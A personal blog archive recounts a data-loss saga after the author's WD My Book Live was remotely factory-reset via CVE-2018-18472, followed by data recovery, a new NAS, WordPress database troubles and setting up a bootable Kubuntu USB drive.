Tag Archives: malfunctioning computers

urgh… creepy… 😒

okay, officially, ChatGPT works better than google.

when i upgraded to jammy, the application that i use to transcribe CDs — K3B — also got upgraded. because of the fact that i installed fresh, rather than upgrading, K3B was installed without the encoder needed to transcribe CDs into .flac files (why is still beyond me). i KNEW i needed to enable the FLAC encoder, but i couldn’t figure out how…

so i went to google, typed in “how to enable flac encoder in k3b”, and got a HUGE PILE of links, most of which were for how to transcribe FLAC files into audio CD format — exactly the OPPOSITE of what i want to do. then i typed in “enable flac encoder k3b” and got another HUGE PILE of links, most of which were EXACTLY THE SAME as the last time… although, this time, the top link was to the K3B manual, so i tried that, and got a couple of links which were mostly incomprehensible, primarily because they were talking about things that AREN’T K3B, or flac files. i tried several other combinations of queries at google, over the course of an hour or so, with similar results, getting more and more frustrated every time…

then i tried ChatGPT…

i typed in “how to enable the flac encoder in K3B”…

and it gave me PRECISE, STEP BY STEP INSTRUCTIONS for how to enable the flac encoder in K3B…

ChatGPT instructions for enabling the FLAC encoder in K3B
ChatGPT instructions for enabling the FLAC encoder in K3B

and it WORKED!! 😒🤨🤔

officially, ChatGPT works better than google.

yawn

nothing has been happening.

nothing has been happening politically, nothing has been happening socially, nothing has been happening musically, nothing has been happening in regards to the COVID virus… i now have A LOT of “free” time: every other week i have a one-hour appointment with kate, and every week i have my one-hour circus class, but that’s it. 😩

i’ve been spending a lot of time hiking on taylor mountain.

i shipped out two incense orders, today. i’m averaging between two and six orders a month, and, before i got cracked a few months ago, i actually had over a thousand dollars in my bank account… but then i got cracked, and spent it all on replacement hardware and a pile of recovered, possibly useful data.

i have expanded ZIP files for about a tenth of my fonts collection, from the recovered data. mostly TTF files, and just a small fraction of the fonts i used to have. fortunately, my recollection is that my entire >10,000 font library is backed up on CD, somewhere… i’m sifting through the rest of the recovered data slowly, and more or less randomly: it’s totally discouraging to look at this huge pile of recovered data, which took me a couple decades to accumulate, but which is now many, many schrödinger’s cats with random file names, EVERY ONE OF WHICH has to be opened to determine whether or not it’s corrupt, and if it’s not, what general pile it goes in, which all have to be sorted again, later on, and then, probably, sorted at least once more before they’re back in more-or-less the place where they’re supposed to be. 😒

so, it’s something to do, but, literally, i would rather be doing ANYTHING else… 🤬

i ordered some “performance masks” from J.W.Pepper a few weeks ago. they were back-ordered (without my knowledge), and, when i talked to a customer service drone on monday last week, i was assured that they would be shipping out later that week, but i still haven’t seen or heard anything. they’re called “performance” masks, because they look like you’re wearing a mask, but, in reality, the mask has a hole in the front, that your mouthpiece goes through, which makes it practically useless as an actual mask… but the new rule at the market is that the only buskers allowed MUST BE masked, so it’s either wear a “performance” mask, or don’t busk. 😒 but i can’t busk at all, until the “performance” masks are delivered, and, as far as i can tell, at this point, they’re still on back order, and who knows when they’re going to arrive. 😞

however… 😒

one distinct DISadvantage to having a new, working cloud drive, is that there have been two different occasions within the past two days, where i thought of something, and went to look for the source files, thinking that i knew exactly where they were located, only to discover that they were on the OLD cloud drive… 😒

god DAMN whatever anonymous skript-kiddie that caused this! 🤬👎‼

hope? — dashed?

sorting through the mess of recovered data is heartbreaking.

i’m finding all sorts of stuff that, once i actually see (or hear) a bit of it, i know exactly what it is, and i’m starting to get things organised enough that, some of the time, i even have a place to put it, once i’ve discovered what it is…

but, then… everything doesn’t come crashing down, but…

i haveHAD a CDR album called “We Bore 2“, which was one of my favourites. it was produced in 2003 by Toast & Jam Records, which has, since, gone out of business, and their web site is now a japanese porn site… it was a “various artists” compilation of electronic, experimental, glitch music, and it was AWESOME!

i found a .RAR archive with the .mp3s for “We Bore 2”, and i was, like, “COOL!”… i expanded the archive, and put it in the place it had been taken from in my collection, and went on to the next archive.

today, for the first time, i actually LISTENED to “We Bore 2″…

yeah, all the tracks are there, but track 1 is NOT what was there the last time i listened to “We Bore 2″… and track 2 is also the same way, to a lesser extent… and track 3 is pretty messed up… and track four is mostly there, except for a patch in the middle which is totally missing… and track 5… and track 7… and track 8… and track 9… 😭

pretty much all of the tracks have something wrong with them…

and i can’t get another copy of the CD, because i originally downloaded it as a .rar file…

and, i’m pretty sure (given the huge quantity of .rar and .zip files that got recovered) that more than a few of them are going to have exactly the same problem. 😭

ETA: all is not lost… well, for “We Bore 2” anyway… it turns out i actually have the original CDR for this album… but i’m fairly sure that is NOT going to be the case with a majority of the .rar and .zip archives i have…

new nas

lord buckley would love this…

but, unfortunately, lord buckley was part of the data that either wasn’t recovered, is corrupted, or i haven’t found it yet because i’m dealing with sixty gazillion files that are named something like 0SVP8382U794.mp3 or 3O1458DNLWO.jpg, because all of their meta-data has been deleted. 😒

anyway, the new NAS is up and running, although not completely configured yet. i have an “app” on my phone and tablet that gives me access to the cloud drive, and i can access it through a web browser on my antique mac and my linux box.

ETA: and accessing it through a web browser is an entirely new experience for me, because, despite the fact that it’s in a web browser, the “pages” are things like the file center, which allows me to “drag-and-drop” files from my local computer, to upload them. basically it acts like a window, even though it’s technically a web page. will wonders never cease?

although i’m fairly sure linux has a more direct way of accessing the cloud drive, the guy who came by to set it up wasn’t a linux geek, and, apparently, has never met a linux geek in the general public. he was astounded when i told him that i had been running linux for 20 years… 😉

but the new NAS is WAY cooler than the old cloud drive, primarily because it is, apparently, possible to edit files while they are still in the cloud, rather than having to download them, edit them locally, and then over-write the old file on the cloud. if what i have already experienced with audio files is true, the likelyhood of my losing any MORE music is practically eliminated. also, it appears to be possible to install executable code on the NAS, and run it locally, which would make things EXTRA SUPER COOL, but i’m not 100% sure of it, yet. 😉

ETA: the NAS has, apparently, either configured itself, or something has been installed remotely that allows it to communicate with my linux system via a number of different protocols, including SMB, MTP (whatever that is — Media Transfer Protocol… who knew?), HTTPS, and bluetooth… which is really odd, because my computer doesn’t even have a bluetooth reciever, so i kinda wonder where the “Bluetooth” icon in the remote network directory came from… unfortunately, i have been unable to connect with anything other than HTTPS, even though the SMB instance takes my password and doesn’t say it’s wrong, it just won’t log me in… which is something to take up with the configurators tomorrow.

the “twisted pair” who are whipping my computers into shape doing my configuration are going to be finished up tomorrow, at which point i hope to have the more direct method of connecting on at least the linux box (if they aren’t able to figure out the antique mac, i understand). i’ve already got a lot of stuff sorted out of the recovered data, including a whole bunch of music, embeded in .zip archives, which appears to be uncorrupted, so, initially, it appears that i may not have lost everything. oh, i also discovered a bunch of CDs that have the date 4/20/13 on them, that appear to be raw .wav files of my first three cassettes, originally produced in the 1980s. if they are as pristine as they appear, then i MIGHT NOT have lost all my old music.

AND western digital FINALLY got back to me — i originally reported the loss on 210624, and, since then, i have sent the drive to texas, waited two weeks, and had the people in texas deliver the drive back to me, which arrived ONE WEEK BEFORE the western digital team (which “values your data”) got around to contacting me… 😒 they said they couldn’t help me unless i uploaded the system logs, but when i plugged in the drive, it wouldn’t even mount on mac, which means that they couldn’t even talk me through the process of recovering the system logs, at which point the issue was “escalated”, and they are, alledgedly, going to call me back monday or tuesday. at this point, i would estimate that it’s NOT particularly likely that western digital is going to call me back before 210731, which is when their web site says i have to have contacted them regarding a data loss from CVE-2018-18472… because after 210731, they don’t have to do anything about it. 😒

mrgmf!

so, according to the latest theory, a script kiddie found out about, and took advantage of CVE-2018-18472, but the bug doesn’t just allow anyone with the IP address to login as admin…

the bug allows anyone with the IP address to login as admin AND DO A FACTORY RESET!! 🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬🤬

what this means is that the files weren’t just deleted, they were OVERWRITTEN… a factory reset reformats the drive and re-installs the operating system.

which means that the files that are gone, are gone for good. there’s no getting them back, at this point… 🤬😢🤬😢🤬😢🤬😢🤬😢🤬😢🤬😢🤬😢🤬😢🤬😢🤬😢🤬😢🤬😢🤬😢

i have resurrected ganesha the graphic

140215 Panchamukhi Ganesha The Car
140215 Panchamukhi Ganesha The Car
last night at about 10:30, i found a couple of .eps files of the graphic for my car.

vector renditions, i.e. infinitely expandable and contractable, keeping the same line quality.

today, i confirmed that they are the original, and my modified versions of the graphic, which is excellent, because, otherwise, i wouldn’t have artwork for my NEW car…

whee? 😕

oh, definitely whee… the new car is a hybrid that gets almost 50MPG, and is only slightly smaller than the current car, although it’s white, and not black…

such is life.

i got the data

good news: i got back (most of, as far as i’ve been able to tell, so far) my IOTM club records, including, most importantly the records of who paid when, and what they have received.

bad news: i’ve checked the largest adobe illustrator documents i can find, and they’re all corrupt, which means, very likely, that the artwork for my car is no longer, and when i get a new car (which might be a lot sooner than i expected), i will have to come up with new artwork for it.

i still have A LOT of files to evaluate… like more than a week, of solid 8-hour days, doing NOTHING but evaluating files… possibly as much as a month of 8-hour days. 😒

and that’s NOT listening to music and watching videos… that’s opening files, to make sure that they’re not totally corrupt, and listening to no more than 5 or 10 seconds of the music or video, to make sure that they’re not TOTALLY corrupt, and then rough-classifying the file based on the contents i’ve seen… and then going to the next file in the list.

which, of course, is leaving me with files where all but the last 5 or 10 seconds of music or video is corrupt, but the rest of it is fine, which is almost more frustratingly irritating than if the entire file was corrupt. 🤬🤬

also, more bad news: there were NO .ogg, .flac, .aif or .aup files recovered AT ALL, which means that NONE of the music that i have recorded since 1983 made it. 😢

i MAY still have the cassettes on to which they were originally mixed down, but they haven’t been played for at least 20 years, and i don’t hold out much hope. ken may have some of my stuff, because he is a music hoarder, and i have played music with him since 1985 or thereabouts, but he lives in bellingham. and i can download .flac files from bandcamp for all of the CDs i have made, except for the one that was made right after my brain injury, which isn’t all there on bandcamp… 😒

but, at this point, it doesn’t look particularly encouraging, and i strongly suspect that i’m going to have to re-rip ALL of the physical media i own, which is another couple of months of solid 8-hour days, at least. 😒

and that doesn’t even begin to address the HUGE quantities of music of which i have purchased and downloaded ONLY electronic copies, like the 40+ albums from ergo phizmiz which i have been collecting for AT LEAST 20 years.

it feels good to have created a way out of this mess, but it’s heartbreaking to think of how much quality work i have done that has been lost. 😢

ETA: i don’t know whether this is as good news as it could be, but i got a zip file full of business logos from my web designer, and there are a couple of high res graphics that are, basically, what i used on my car… and i actually found a couple of .eps files (which, i believe, are vector, and native to illustrator) of the graphic on my car… i haven’t checked, yet, because it’s late, and i really should be in bed, but, well… 😒 AND i am, officially, buying a new car (a hybrid, hyundai ioniq), which means that i’ve got to move my graphic, anyway.

updated answer

the answer costs $600, not $800. 👍

the answer is two 4TB disks in a RAID1 array, not 2TB disks, in a RAID1 array. 👍👍

i know that the cause of all this was the (potential) loss of all my data, but, at this point, i like where it’s all going A LOT more than i did two weeks ago… for that matter, i like where it’s all going a lot more than i did a month ago, before this all started happening. 😉

the answer

the answer is a 4TB NAS, two bays of 2TB each, in a RAID1 array.

this serves a dual purpose: the NAS is my “cloud drive”, and the RAID1 array is my backup.

i can “backup” the backup, to “the cloud” or to an external 2TB device (like a flash drive) on a regular basis if i want, at that point, for extra security.

the answer costs around $800, for them to come in, set it up, get all my devices talking to it, from the antique mac to the bleeding edge kubuntu box, and hand me the keys.

i can afford the answer, without having to get “household funds” involved.

why?

because someone send me almost $1,200 for one of my huge boxes of incense, that’s why. 👍

in other news, i paid them $600 and they’re mailing me back the remains of the old NAS, and a disk full of either data, or not-data. 😒 whee.

aarrgh… (which is a²r²gh for those of you keeping track)

i want to make a bootable kubuntu 20.04 USB flash drive, but i don’t know how (never done it before) to install from a USB flash drive… and “installing from a CD” is no longer an option.

and, apparently, cheapbytes.com is no longer in business… 😒

so, i go to https://averagelinuxuser.com/make-a-bootable-usb-drive-in-linux/ which contains step-by-step instructions for how to do it.

after spending half an hour figuring out which is the USB flash drive i want to put it on to (/dev/sdc — which i found out by removing all the other USB disk from my system, and typing “sudo fdisk -l”), i try to wipe /dev/sdc and reformat it (because it is formatted for mac), but when i type

sudo wipefs --all /dev/sdc

it says

wipefs: error: /dev/sdc: probing initialisation failed: Device or resource busy

so, i try

umount /dev/sdc

but it throws the same error…

i DO NOT UNDERSTAND!! the device is NOT “busy”, you dumb machine!! 🤬 but then i realise that the machine isn’t the dumb one here, and if it’s giving me an incomprehensible error, it must be because it has been given incomprehensible commands… by me… 🤬

so, i type:

sudo dd bs=4M if=/home/salamandir/Documents/Install/kubuntu-20.04.2.0-desktop-amd64.iso of=/dev/sdc status=progress && sync

and, eventually, it gives me

2643034112 bytes (2.6 GB, 2.5 GiB) copied, 163 s, 16.2 MB/s
630+1 records in
630+1 records out
2643034112 bytes (2.6 GB, 2.5 GiB) copied, 163.442 s, 16.2 MB/s

but after that, it hangs up. when i press "enter", after a LONG delay, it gives me

^C

and, after that... nothing.

i don't have the patience to learn all this again... i just want it to work... 😒

after another HOUR of futzing about, i figured it out... but it's REALLY frustrating, and i really don't have the patience to figure it all out without significant stress.

and, when i booted with the new system, it was UGLY, and i know FOR A FACT that i'm going to have to spend as much time tweaking the system to my preferences as i am going through endless stacks of numbered files, and re-filing them in more-or-less the right place, for about the next 3 years.

just another reason to give up computers all together and become a hermit. 😒

news

i heard from the data recovery people. they said:

There’s ~4 billion sectors on the 2TB drive. Head 0 died with ~55 million sectors left to read (very small percentage). It’s at the end of the drive so it was probably zeroes anyway. The main issue is that the metadata has been overwritten and the directory structure and file names are gone. This means that the files will have the correct extension but no names and no parent folders.

so, what they recover will be, essentially, files with their proper extensions — .ai, .otd, .doc, .otf, .txt, .mp3, .mp4, .html, .pdf, .eps, .jpg, .flac, .gif, .etc… — but with numbers, instead of file names… and if, as with the files from audacity, the project file uses ancillary files in the same directory, then the project files won’t open until ALL the ancillary files have the correct names, and are in the correct directory… 😒 they said, because of the way i was attacked, actual file recovery is not guaranteed, and recovered but corrupt files are billable, which means that i MIGHT end up with no readable data at all, and STILL have to pay for it. they said their “standard” service costs $600 and takes 5+ days, whereas their “expedited” service costs $1,000 (like moe said, everything costs $1,000 😒) and takes half that amount of time.

i contacted the place that built my last computer, InfoTech, when they opened, at 10:00 this morning. i gave them the specifications for a new computer (pentium G6400 4GHz, 16GB DDR4, Intel UHD 630, 2TB SATA HD, with the 1TB SATA SSD i’ve had since 2018 installed), and they said that they were going to send me an invoice, but, as of 3:00 this afternoon, i haven’t seen an invoice from them. once i’ve got the actual computer taken care of, i’ll ask them about a replacement for my WD cloud drive… although, i think i may avoid further western digital products, at this point. 😒

miraculously, i seem to have all the parts for this month’s incense of the month to be sent out with a minimum of hassle. i suppose that’s a good thing.

more computer headaches

so, i still haven’t heard from ace data recovery, because of the holiday weekend, but i decided to get my computer ready to take the new old data (if it still exists), by installing the 1TB SATA drive i’ve had sitting on my desk since 2018, which is the first time i thought i was going to need it…

however, it turns out that, because i got the “low profile” case, the last time i bought a computer (which, according to the label on the back, was 2015), there isn’t enough room to install the SATA drive, despite the fact that it’s ⅓ the size of the “normal” IDE drive.

i have two options. i can either buy a not-low-profile case, and pay someone to transfer all the internal shit (because i’m not skilled enough to do it, any longer), OR, for about $200 more, i can just buy an entirely new computer. 😒

it would cost around $700, give or take, to get a new computer, and have the 2018 SATA drive installed (thus making it a 2 HD system right off the top), and, at that point, i could hook up the hard disk from the old computer, via USB or something, and probably have enough space…

and moe sez it’s okay for me to spend that amount…

so, i guess i’m getting a new computer, as well. i remember when i would have been really excited at the prospect of a new computer, but, at this point, it’s JUST ANOTHER HEADACHE! 😠

let’s get on it, then! 😒

today, i got the following message from western digital:

Western Digital is working on a Data Recovery recovery program and allow us some time for the program to be put in place. I understand you sent the drive to a Data Recovery Center. If he (sic) would like Western Digital to assist with the recovery cost, we recommend to wait for the program to be active.

Some My Book Live devices connected to the Internet are being compromised by attackers and in some cases, the attackers have triggered a factory reset that appears to erase all data on the device.
We are here to help. Although this product family is no longer sold or supported by Western Digital, we know some of our customers have been impacted and we want to help.

If you have lost your data because of these attacks, we will provide data recovery services which will be available beginning in July.

We know how important your data is to you and are committed to helping you protect it.

We will provide details about how to take advantage of this program in a separate email.

For more detailed information and updates, please refer to the Security Bulletin listed below.

WDC-21008 Recommended Security Measures for WD My Book Live and WD My Book Live Duo
https://www.westerndigital.com/support/productsecurity/wdc-21008-recommended-security-measures-wd-mybooklive-wd-mybookliveduo

the problem is, i NEED that data. it was driven home to me how much i need that data when i realised (this morning) that all of my federal tax records are on that drive… and they’re due soon… 😒 i DO NOT have the time to wait around for a “Data Recovery recovery program” that hasn’t been developed yet. 😒

“If he (sic) would like Western Digital to assist with the recovery cost, we recommend to wait for the program to be active.”… if “who” would like WD to assist…? I would, very definitely, like WD to assist with the recovery cost. unfortunately, i NEED that data NOW (actually, yesterday would have been better 😠), also, well, this IS july, now, and i haven’t received any indication that this recovery program is much more than a pipe dream.

my plan is to continue at the rate that i’m already going with the “recovery plan”, and if WD has any problems with my plan, they can shove it up their ass, and pay anyway! 😠

i JUST got email from the data recovery place, which says:

Thank you for choosing ACE Data Recovery. We have received your device in our lab.

We will be contacting you soon after the diagnostic’s results will be ready. Usually it takes one to two business days.

my impression, at this point, is that WD is GOING to “assist with the recovery cost”, whether or not they think they are now. it’s just a matter of how hard we (the class of people who lost data because of this negligence) are going to have to try to convince them. 😠

so…

the cloud drive is on its way to dallas, to the temple of the computer wizards, who seem to think that they can actually retrieve data from a drive that has been wiped. whether they can, or not, remains to be seen, and if they can, actually, retrieve data, there’s no telling how much, but the expense increases with every file they retrieve, and i’ve got A LOT of files on that drive.

the current conjecture is that an anonymous, malicious, mindless, skript-kiddie found out about the bug that they’ve known about since 2018, but haven’t done anything about it because it’s a “legacy” device that hasn’t been upgraded since 2015 (despite the fact that MANY WD cloud drives are still in use all over the world), and wrote a script to search out all the IP addresses of MyBook drives it could find, and wipe them…

because they can… 😒

L0L! 🤬🖕🤬🖕🤬🖕🤬🖕🤬🖕

but, according to the latest theory, they didn’t overwrite the data, they just removed the allocation tables… they did a “quick” erase, not a “complete” erase… so the data is, probably, still there, as long as something hasn’t overwritten it, and, since the first thing i did when i couldn’t login was to shut it down, the chance that it’s still there is relatively high. it’s up to the experts, and whether or not i have enough money, to determine whether or not i see any of that data again.

and, as far as remediation goes, i think i’ve learned enough to install the 1TB drive (which is not big enough to store 2TB of data) that i’ve had sitting on my desk since 2018, but i haven’t done it yet, and i haven’t even started to search for a replacement cloud drive, or a backup system, because i’ve been going through an existential crisis, AND temperatures that have been an average of 35°F hotter than they have ever been, which has, essentially, shut down any hope of doing anything other than hiding and hoping it’s all going to be over soon. 😟

but climate change is a myth, created by china! 😒

it’s 25°F cooler than it was yesterday, but it’s still 10°F warmer than normal, for this time of year, and it doesn’t look like it’s going to be getting better any time soon.

oh, just wonderful! 🤬

so, my Western Digital MyCloud Live bit the dust the other day. i spent most of yesterday stressing, and figuring out what was wrong, and beginning to figure out how to fix it (and not getting very far, because of the stress).

then, this morning, i wake up to this: CVE-2018-18472

Western Digital WD My Book Live and WD My Book Live Duo (all versions) have a root Remote Command Execution bug via shell metacharacters in the /api/1.0/rest/language_configuration language parameter. It can be triggered by anyone who knows the IP address of the affected device, as exploited in the wild in June 2021 for factory reset commands…

and Action Required on My Book Live and My Book Live Duo

Western Digital has determined that some My Book Live devices are being compromised by malicious software. In some cases, this compromise has led to a factory reset that appears to erase all data on the device. The My Book Live device received its final firmware update in 2015. We understand that our customersโ€™ data is very important. At this time, we recommend you disconnect your My Book Live from the Internet to protect your data on the device.

the only hope i have is EITHER that the MyCloud IP address was unknown, unknowable, or “small potatoes”, OR that this is for My”BOOK” Live, and what i’m dealing with is a My”CLOUD” Live, and that CVE-2018-18472 applies to the My”BOOK” and not the My”CLOUD”…

but what is the probability of those things happening? 🤬

(actually, now that i think about it, the probability is fairly low: i BOUGHT the MyCloud device in 2014, and i’m pretty sure that i received firmware updates well after the 2015 date that they mentioned here, but… it’s still worrying.)

actually, i couldn’t POSSIBLY be that lucky… i was looking at the back of the device, and it very clearly says “MyBook Live”… 🤬🤬🤬🤬🤬

word now is that western digital has known about this since 2018. 🤬

some good news, for a change… i’ve written for a quote from Ace Data Recovery, which is a partner with western digital. i’m as confident as i can be (which isn’t much) that they have a MUCH better chance of actually recovering my data than anything i could do. of course, because of the fact that it is currently after business hours on friday, central time, and the fact that they don’t work on weekends, i’m probably not going to hear anything until monday, at the earliest. however, this gives me some time to work on the problem of where to put it once it has, actually, been retrieved.

zoinks

my cloud device is not a cloud device.

it was working fine two days ago. by the time i discovered it wasn’t working, yesterday, it was too late to get tech support on the line, so i got them on the line today.

what they said is that my WD MyCloud Live is old enough that it’s considered a “legacy device” and they don’t offer service for it any longer.

so ALL of my hybrid elephant records, ALL of my “Incense of the Month” records, ALL of my appointments, ALL of my digital artwork, ALL of my pictures, ALL of my music… EVERYTHING is gone.

😟

ETA: i talked to the folks at western digital this morning, and what i learned was encouraging and discouraging at the same time.

i bought it, and had it configured by 140127, so it has only been six years, not the eight that i was complaining about originally… doesn’t make me feel any better about losing access to that data. 😟

the device is a WD MyCloud Live device, which is a “legacy” device which is no longer serviced.

the fact that i had the drive partitioned four ways, and primarily used it on linux, means that, even if it were able to be serviced, they wouldn’t do it. they support windows and mac, but not linux.

despite the fact that western digital disks are used on linux systems ALL THE TIME… 😒

it MIGHT be accessible directly, by plugging it directly into the computer, instead of a router. i plugged it into my mac laptop, and a new icon appeared on the desktop called “MyCloud Live”. it contained four “public” folders (documents, pictures, music, and another that i don’t remember), but they were all empty. also, it said i was logged in as “guest” and my disk doesn’t have a “guest” login, so my guess is that mac logged me into a new, blank partition.

which means that i MIGHT be able to access it from linux, if i can get it to log me in as something other than “guest”…

when in trouble, when in doubt, run in circles…

ask if anybody has a clue on kubuntu forums dot net

the guy there said that, in all likelyhood, it is running an embeded linux OS, and, if nothing else, i could take it out of its enclosure and add it as a new hard disk on my computer, as long as it works.

however… 😒

at this point, i’m going to HAVE TO get a new cloud server to replace the old one (more goddamn money spent on this damn technology… 😠), and i don’t want to do ANYTHING with the old one until i have a new place, however temporary, to store all <900MB of shit. AND i just happen to have a samsung 1TB SATA disk — had it new, in the box, since 2018 — but because i don’t actually know how to install a new hard disk on a linux machine, i haven’t done so.

so, MAYBE everything isn’t gone, but it’s going to be a few stress filled days until i get it all figured out and get everything settled down to what passes for “normal” these days. 😟

i might have known…

so, the weird weirdness with my web site was ENTIRELY caused by the osCommerce web site…

which i haven’t even thought about since 2016, because the previous web designer was supposed to have deleted it, once i had successfully migrated to wordpress…

but which wasn’t deleted (despite the fact that it was one of the things i paid her to do 😠), and continued to “function”, without a “head”, for FIVE YEARS

if nothing else, i suppose, it says something about osCommerce’s resiliancy and ability to continue to function despite being headless and updateless for the past 5 years. i wonder if i could treat wordpress the same way, and expect the same result. i suspect, probably, not.

it’s still there, physically, but it has had it’s hooks into the system removed, so it is no longer functioning. the next step is to figure out which parts are wordpress parts and which parts are osCommerce parts, and delete the osCommerce parts.

in other news, ezra has come up with an idea that needs internet and a web host to work, and, well… i’m the next best thing to a web host, these days… apart from the FUMTU with osCommerce… 😉

bat out of database hell, sideways

in a new twist, the web designer that i worked with prior to the current web designer i work with — the one who blew a gasket for some still-unknown reason — was, as a part of what i was paying her to be a web designer, to delete the old web site files, once i had successfully been migrated to my new site.

unfortunately, apparently she blew a gasket before she actually did that.

and i didn’t know until… well… today.

my current web site is running PHP5, but there was an error which showed up in the log which was an uncaught variable that doesn’t exist in PHP5… in fact, it doesn’t exist until PHP7.4… and, upon further investigation, we discovered that it came from a document that is from osCommerce, which lead to other osCommerce documents, which lead, basically, to the entire osCommerce web site, which has been trying, and failing, to run PHP7.4, and generating WEIRD errors.

it had been beheaded — i.e. it didn’t have an internet-facing interface — but it is all still there.

it should be deleted. 😠

database hell updated

quoth the web developer: I’m going to guess, they’re going to come back and tell us they see nothing wrong. However, they will modify the server and then when I get back in there to test it again, it’s going to work. They just have a problem admitting when they’re wrong so they’ll fix it but tell us that it works fine.

quoth i: i don’t care how it’s fixed, i just want it to be fixed.

they have access to the dashboard, but they’re in a different time zone, so i have to be patient. 😒

ETA: i just got an email notification that says: A user with username “webhost-python” who has administrator access signed in to your WordPress site.

and then a note from YET ANOTHER technician who i HAVEN’T TALKED TO BEFORE (😠), who, apparently, tried the login, looked through the ticket history and decided that they don’t know enough to do anything about it, saying “I will assign this to our developers and they will get back to you.”

so, it begins…

tomorrow… 😒

ahhhh! now we find out…

my newly redesigned site uses the enfold theme, which has faulty (under certain circumstances) caching and optimisation routines, so we use lightspeed cache, which doesn’t have those (particular) faults, and works better (under certain circumstances).

except, last year, prior to my site being redesigned (when i was still using the avada theme), i was told (by SOMEONE) to disable lightspeed cache, because it had some sort of incompatibility with… something…

so, i went through the site redesign with a disabled lightspeed plugin. no problem, until i put in the enfold theme, and whatever circumstances that cause the caching and optimisation routines to fail, were happening, which was the cause of the first go-round.

turning on the lightspeed cache fixed the first go-round, but whatever incompatibility i was trying to avoid by having the lightspeed plugin disabled, took effect, which was the cause of the second go-round.

which was further confused by the fact that part of my routine for fixing the first go-round was good enough that it fixed the second go-round well enough that i didn’t find out about it until it was too late.

what i found out, today, via my web developer, is that the people who make the lightspeed cache and webhost python (my host provider) have their own battle going on: on webhost python’s servers (which include mine), the lightspeed plugin causes expired transients to multiply and duplicate. lightspeed says it’s python’s fault. python disagrees…

on the record…

OFF the record, python agrees that there is a bug in their system that they haven’t found yet… compounded by the fact that it was THEIR ERROR which caused the third go-round… 😠 but it’s not for me to say “i told you so”, especially with my already somewhat precarious position with this particular host provider…

and so, i’m caught in the middle. 😒

apparently, for the time being anyway, the plan is to disable the caching modules on both enfold AND lightspeed, keep an eye on the database (which hasn’t blown up since implementing this plan), clear the expired transients manually, and examine other options for a cache.

😒

oy! why won’t this just go away?

at midnight (which was 3:00 in the morning, florida time), i got a message saying that the database was blowing up again. they said it was 183 GIGABYTES

because of the fact that i was asleep (thankfully), i didn’t actually read the message until 7:00 my time (10:00 florida time). i immediately logged into my web server, and discovered that the MySQL disk usage was lower than i have ever seen it before, which is to say 253 MEGABYTES

what this tells me is that there’s something else going on besides this whole “enfold-theme-not-caching-correctly” horseshit.

which is bad.

it also tells me that, whatever it is, we haven’t actually found it… we may have found another problem, but not the one for which we’re looking… yet…

which is bad, but not as bad as it could be.

it also tells me that, whatever it is that is going wrong, the cronjob that we put in place to solve the problem, works, REGARDLESS of the actual problem.

which is good.

but, when it comes right down to it, it is not good for me to be so stressed out about something over which i have very little control.

which is bad.

something has to be done. this is ridiculous.

oh, but it couldn’t have ended there, now, could it?

and the answer is, a big, fat, OF COURSE NOT! 😒

i woke up this morning, and couldn’t log in to my web site… at, like, SEVEN in the fucking morning, i was wide awake because i couldn’t log in to my web site.

at NINE, the web designer gets back to me. he can’t login either. apparently the host provider has disabled the config file that makes everything work — i login using SSH, and there’s the file… everything LOOKS okay, but… the host provider apparently did SOMETHING to my web site. as far as i can tell, everything works, sort of, until you get one or two pages deep, at which point it gives me a “unable to connect to database” error.

😠

so, i file a ticket with the host provider. a couple hours later, (all the while, i’m sweating bullets) they get back to me, apparently, the database blew up AGAIN. they disabled the config file so that nobody could use the web site, because the database was growing by gigabytes A SECOND.

😠😠

eventually (seriously, they took most of the day to UN-disable the config file), the web designer went in and turned off everything having to do with the built-in, screwy, does-not-work, enfold caching and optimisation routines, turned OFF “store transients”, and set a cronfile to delete three rows of a table in the database, every hour.

😠😠😠😠‼‼‼

this better be the last of it for a while, because i’m just about ready to throw in the towel.

database update

the database is fixed. 😌

what happened? that’s complex.

recently, i had my web site redesigned. the new design uses the “Enfold” theme, which uses a lot of what they call “transients” to maintain the look and feel of the site, regardless of the platform on which it’s being viewed. “transients” are sort of like cookies, except that you can’t opt out of them, and they don’t contain any personally identifying information. some of these “transients” expire immediately when a person leaves the web site, and others persist, for a few minutes to several days. they persist on your computer AND on my server… in the one of the tables in the database…

the “Enfold” theme has automatic caching and garbage collection routines that are supposed to handle these expired “transients”, but, because it’s a wordpress theme, it doesn’t do all the jobs very well… or, sometimes, at all… which is why i also use a caching plugin that actually, you know, works ALL the time, and not only some of the time… 😒

except that, for some reason, prior to my site upgrade, “someone” (and i have yet to identify who, but it was either my web designer or my host provider) recommended that i disable the caching plugin, because of some issue with the new version of wordpress… or something like that… as i said, i don’t remember. i distinctly remember disabling the plugin on someone’s recommendation, i just don’t remember exactly who, when or why. 😖

one way or the other, my caching plugin was disabled, which meant that, when i installed the new theme, it was relying on the not-working-the-way-it-should, internal cache… which, basically, didn’t work, causing the table in the database to expand beyond my disk space allocation. 🤯

it didn’t show up in my cPanel because i wasn’t looking at the SQL disk space, which is “below the fold” of my browser, and i just didn’t scroll down far enough to see it. 😕 during the nightly automatic backup, it was overwhelming the server for everybody, not just me. i had to pay my web designer for two days of poking through piles of arcane SQL code and deleting bits and pieces of it. it was not fun.

the solution was to enable the caching plugin(!), and to install a “transient manager” plugin, so that i can delete the expired transients from the wordpress dashboard, and not from the SQL database,… which requires A LOT more “knowing what to look for” and “knowing how to delete stuff without damaging other stuff” than i have on board, personally.

databases

my first direct experience with databases was in the late 1980s or early 1990s, when i got a “job”, “working” for this… guy…

i don’t remember his name — possibly “henry” — but i remember his attitudes: he was always right, nothing he thought of had ever been thought of before, he was the richest, smartest, trendiest, most “on-top-of-it” dude that ever hit the face of the planet, and GAWD HELP YOU if you EVER got in his way.

needless to say, the “job” didn’t last long. it started with him demonstrating how generous he was, by buying me a disk caddy, so that i would have somewhere to keep all of the disks i was going to accumulate working for him. then he started asking me about computers. at the time, i was NOT a “computer geek”, nor did i want to be one (my father was one of the original “computer geeks” and i DID NOT want to be like my father), but i knew about computers because i had been working as a typesetter for a few years. he asked me what i didn’t know about computers, and one of the first things out of my mouth was “databases”, so he signed me up for a week of training with “FileMaker”…

